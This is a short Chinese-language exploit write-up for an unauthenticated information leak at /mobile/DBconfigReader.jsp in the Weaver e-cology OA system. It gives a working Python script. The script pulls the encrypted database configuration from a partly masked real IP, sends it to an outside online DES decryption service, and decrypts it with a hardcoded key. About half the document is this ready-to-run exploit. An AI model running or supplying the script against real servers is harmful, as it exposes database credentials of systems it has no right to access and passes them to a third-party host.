漏洞详情#
泛微e-cology OA系统/mobile/DBconfigReader.jsp
存在未授权访问,通过解密,可直接获取数据库配置信息。
利用前提/mobile/DBconfigReader.jsp
存在未授权访问。
漏洞复现#
利用github的exp报错,解密踩坑如下:
- 乱码,需要用b64加密后用密钥解密
-
\r\n
,详见参考链接
最终python脚本如下:
import base64 import requests import ast def req(url): headers = { 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } r1 = requests.get(url,headers=headers).content s = r1.replace('\r\n','') res1 = base64.b64encode(s) postdata = { 'data':res1, 'type':'des', 'arg':'m=ecb_pad=zero_p=1z2x3c4v_o=0_s=gb2312_t=1' } u = 'http://tool.chacuo.net/cryptdes' r2 = requests.post(u,data=postdata,headers=headers).content res2 = ast.literal_eval(r2) return res2['data'] url = 'http://58.2xxx:8888//mobile/DBconfigReader.jsp' print req(url)